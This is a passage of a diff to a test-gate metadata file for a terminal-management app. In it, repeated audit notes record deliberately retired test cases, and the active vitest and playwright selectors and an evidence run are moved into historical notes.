preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial mobile-presence suite retains only five authored callbacks: admitted preview-paste completion across phone takeover, desktop take-back superseding mobile input, desktop viewport write/restore geometry, and held-fit reclaim convergence. Other supplied floor/rollback/selection/viewport/grace/disconnect/reconnect/orphan-state alarms are lost. No per-source assertion object exists to reassign. The one affected dated mobile-view-authority receipt is retired whole into historical notes with its full original/currentCommand/raw data preserved; it is not active corroboration for reduced candidate bytes. Imported mobile-subscribe registrations and retained callbacks remain bounded to their actual source obligations, without equivalent replacement or physical-phone/native-PTY claims. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1709 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1683 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Run one fixed child-TUI journey for normal exit and cleanup-free SIGKILL. Assert renderer and host normal-buffer/non-mouse state, host snapshot terminalOwner metadata, exact PTY writes with no post-exit mouse report, unrelated-pane survival, post-boundary prompt output preserved (normal exit), ordered proof invalidation, bounded settlement and bail-out flush, one inspection per unclean episode with zero scans for ordinary output, split-escape safety at every chunk boundary, and old/new client-host fallback parity.", - "commands": [ - "pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/sessions/testing/session-shell-recovery.test.ts src/main/daemon/terminal-host/testing/terminal-host-concurrent-create.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/daemon/history/restoration/testing/daemon-restore-scrollback-depth.test.ts src/main/daemon/history/restoration/testing/terminal-checkpoint-serializer.test.ts src/main/runtime/construction/orca-runtime.test.ts src/shared/terminal/protocol/escape/terminal-partial-escape-tail.test.ts src/shared/terminal/protocol/escape/terminal-partial-escape-tail.fuzz.test.ts --reporter=dot", - - "pnpm exec electron-vite build --mode e2e", - "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": [ - "src/main/daemon/sessions/testing/session-shell-recovery.test.ts", - "src/main/daemon/terminal-host/testing/terminal-host-concurrent-create.test.ts", - "src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts", - "src/main/daemon/history/restoration/testing/daemon-restore-scrollback-depth.test.ts", - "src/main/daemon/history/restoration/testing/terminal-checkpoint-serializer.test.ts", - "src/main/runtime/construction/orca-runtime.test.ts", - "src/shared/terminal/protocol/escape/terminal-partial-escape-tail.test.ts", - "src/shared/terminal/protocol/escape/terminal-partial-escape-tail.fuzz.test.ts", - - "tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts" - ], - "assertionRefs": [ - { - "file": "src/main/daemon/sessions/testing/session-shell-recovery.test.ts", - "assertions": [ - "post-kill shell output survives into the normalized snapshot instead of the discarded alt buffer", - "a snapshot taken during a split escape keeps the pending tail intact and stale proof is revoked by the completing bytes" - ] - }, - { - "file": "src/shared/terminal/protocol/escape/terminal-partial-escape-tail.fuzz.test.ts", - "assertions": [ - "the pending tail this gate threads over the wire folds identically at every code-unit split of the combined stream, including boundaries landing inside oscEsc/stringEsc", - "the split sweep runs over an alphabet carrying CAN, SUB, doubled ESC inside OSC/DCS/SOS/PM/APC, BEL, C1 ST, NUL, DEL, intermediates, CJK, astral, and lone surrogates" - ] - }, - { - "file": "tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts", - "assertions": [ - "normal exit and cleanup-free SIGKILL both restore a visible clean shell marker", - "renderer logical buffer is normal and mouse tracking is disabled after host-proven recovery", - "real pointer input writes no SGR mouse report to the surviving shell", - "an unrelated pane remains live" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-26", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 33.8, - "summary": "Both normal-exit and SIGKILL journeys passed on the ordered-output-barrier implementation; each asserted renderer and host normal modes, host ownership metadata, exact PTY input, no post-exit SGR mouse report under real pointer input, and unrelated-pane survival, with post-boundary prompt output additionally proven visible on normal exit." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial mobile-presence suite retains only five authored callbacks: admitted preview-paste completion across phone takeover, desktop take-back superseding mobile input, desktop viewport write/restore geometry, and held-fit reclaim convergence. Other supplied floor/rollback/selection/viewport/grace/disconnect/reconnect/orphan-state alarms are lost. No per-source assertion object exists to reassign. The one affected dated mobile-view-authority receipt is retired whole into historical notes with its full original/currentCommand/raw data preserved; it is not active corroboration for reduced candidate bytes. Imported mobile-subscribe registrations and retained callbacks remain bounded to their actual source obligations, without equivalent replacement or physical-phone/native-PTY claims. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1709 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1683 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Run one fixed child-TUI journey for normal exit and cleanup-free SIGKILL. Assert renderer and host normal-buffer/non-mouse state, host snapshot terminalOwner metadata, exact PTY writes with no post-exit mouse report, unrelated-pane survival, post-boundary prompt output preserved (normal exit), ordered proof invalidation, bounded settlement and bail-out flush, one inspection per unclean episode with zero scans for ordinary output, split-escape safety at every chunk boundary, and old/new client-host fallback parity.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 90, - "scope": "Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." }, "flakeHistory": { "status": "not-started", - "evidence": "Changed selectors have no new soak result after Audit1320; any retained unchanged-source receipts apply only to their own commands. Historical account: The deterministic focused suites and two-case Electron journey pass locally; CI soak history is not yet available." + "evidence": "No fresh soak for changed E2E selectors. Historical account: Changed selectors have no new soak result after Audit1320; any retained unchanged-source receipts apply only to their own commands. Historical account: The deterministic focused suites and two-case Electron journey pass locally; CI soak history is not yet available." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1320 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The byte-identical Electron journey reproduced screenshot-like numeric mouse-report residue and a real SGR mouse packet reaching the shell before the focused action. With only the renderer's host-proven reset disabled, normal cleanup failed in normal-buffer/any-event mouse state and SIGKILL failed in alternate-buffer/any-event mouse state. Restoring the action made both cases green." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1320 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The byte-identical Electron journey reproduced screenshot-like numeric mouse-report residue and a real SGR mouse packet reaching the shell before the focused action. With only the renderer's host-proven reset disabled, normal cleanup failed in normal-buffer/any-event mouse state and SIGKILL failed in alternate-buffer/any-event mouse state. Restoring the action made both cases green." }, "performanceBudget": { "required": true, - "evidence": "Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. No reveal timer, polling, periodic scan, broad session inventory, or renderer remount is added, and snapshots perform no writes. The stream pauses only for an unclean alternate-screen death (never for clean TUI exits or ordinary output), bounded by a 750 ms bail timer and a 256 KiB queue cap that both flush unmodified. The event-triggered fresh host inspection measured 30 local macOS samples at 84.6 ms median, 103.7 ms p95, and 124.5 ms maximum; the paired runtime asks the daemon for its settled verdict instead of running a second inspection." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. No reveal timer, polling, periodic scan, broad session inventory, or renderer remount is added, and snapshots perform no writes. The stream pauses only for an unclean alternate-screen death (never for clean TUI exits or ordinary output), bounded by a 750 ms bail timer and a 256 KiB queue cap that both flush unmodified. The event-triggered fresh host inspection measured 30 local macOS samples at 84.6 ms median, 103.7 ms p95, and 124.5 ms maximum; the paired runtime asks the daemon for its settled verdict instead of running a second inspection." }, "promotionCriteria": [ "Collect 100 consecutive focused CI passes or 14 days of soak history.", @@ -5577,7 +4938,11 @@ "Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed.", "Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. ", "Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. ", - "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. " + "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. ", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-26\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 33.8,\n \"summary\": \"Both normal-exit and SIGKILL journeys passed on the ordered-output-barrier implementation; each asserted renderer and host normal modes, host ownership metadata, exact PTY input, no post-exit SGR mouse report under real pointer input, and unrelated-pane survival, with post-boundary prompt output additionally proven visible on normal exit.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/sessions/testing/session-shell-recovery.test.ts src/main/daemon/terminal-host/testing/terminal-host-concurrent-create.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/daemon/history/restoration/testing/daemon-restore-scrollback-depth.test.ts src/main/daemon/history/restoration/testing/terminal-checkpoint-serializer.test.ts src/main/runtime/construction/orca-runtime.test.ts src/shared/terminal/protocol/escape/terminal-partial-escape-tail.test.ts src/shared/terminal/protocol/escape/terminal-partial-escape-tail.fuzz.test.ts --reporter=dot\",\n\n \"pnpm exec electron-vite build --mode e2e\",\n \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"src/main/daemon/sessions/testing/session-shell-recovery.test.ts\",\n \"src/main/daemon/terminal-host/testing/terminal-host-concurrent-create.test.ts\",\n \"src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\n \"src/main/daemon/history/restoration/testing/daemon-restore-scrollback-depth.test.ts\",\n \"src/main/daemon/history/restoration/testing/terminal-checkpoint-serializer.test.ts\",\n \"src/main/runtime/construction/orca-runtime.test.ts\",\n \"src/shared/terminal/protocol/escape/terminal-partial-escape-tail.test.ts\",\n \"src/shared/terminal/protocol/escape/terminal-partial-escape-tail.fuzz.test.ts\",\n\n \"tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/main/daemon/sessions/testing/session-shell-recovery.test.ts\",\n \"assertions\": [\n \"post-kill shell output survives into the normalized snapshot instead of the discarded alt buffer\",\n \"a snapshot taken during a split escape keeps the pending tail intact and stale proof is revoked by the completing bytes\"\n ]\n },\n {\n \"file\": \"src/shared/terminal/protocol/escape/terminal-partial-escape-tail.fuzz.test.ts\",\n \"assertions\": [\n \"the pending tail this gate threads over the wire folds identically at every code-unit split of the combined stream, including boundaries landing inside oscEsc/stringEsc\",\n \"the split sweep runs over an alphabet carrying CAN, SUB, doubled ESC inside OSC/DCS/SOS/PM/APC, BEL, C1 ST, NUL, DEL, intermediates, CJK, astral, and lone surrogates\"\n ]\n },\n {\n \"file\": \"tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts\",\n \"assertions\": [\n \"normal exit and cleanup-free SIGKILL both restore a visible clean shell marker\",\n \"renderer logical buffer is normal and mouse tracking is disabled after host-proven recovery\",\n \"real pointer input writes no SGR mouse report to the surviving shell\",\n \"an unrelated pane remains live\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/sessions/testing/session-shell-recovery.test.ts src/main/daemon/terminal-host/testing/terminal-host-concurrent-create.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/daemon/history/restoration/testing/daemon-restore-scrollback-depth.test.ts src/main/daemon/history/restoration/testing/terminal-checkpoint-serializer.test.ts src/main/runtime/construction/orca-runtime.test.ts src/shared/terminal/protocol/escape/terminal-partial-escape-tail.test.ts src/shared/terminal/protocol/escape/terminal-partial-escape-tail.fuzz.test.ts --reporter=dot\",\"pnpm exec electron-vite build --mode e2e\"],\"testFiles\":[\"src/main/daemon/sessions/testing/session-shell-recovery.test.ts\",\"src/main/daemon/terminal-host/testing/terminal-host-concurrent-create.test.ts\",\"src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\"src/main/daemon/history/restoration/testing/daemon-restore-scrollback-depth.test.ts\",\"src/main/daemon/history/restoration/testing/terminal-checkpoint-serializer.test.ts\",\"src/main/runtime/construction/orca-runtime.test.ts\",\"src/shared/terminal/protocol/escape/terminal-partial-escape-tail.test.ts\",\"src/shared/terminal/protocol/escape/terminal-partial-escape-tail.fuzz.test.ts\"],\"assertionRefs\":[{\"file\":\"src/main/daemon/sessions/testing/session-shell-recovery.test.ts\",\"assertions\":[\"post-kill shell output survives into the normalized snapshot instead of the discarded alt buffer\",\"a snapshot taken during a split escape keeps the pending tail intact and stale proof is revoked by the completing 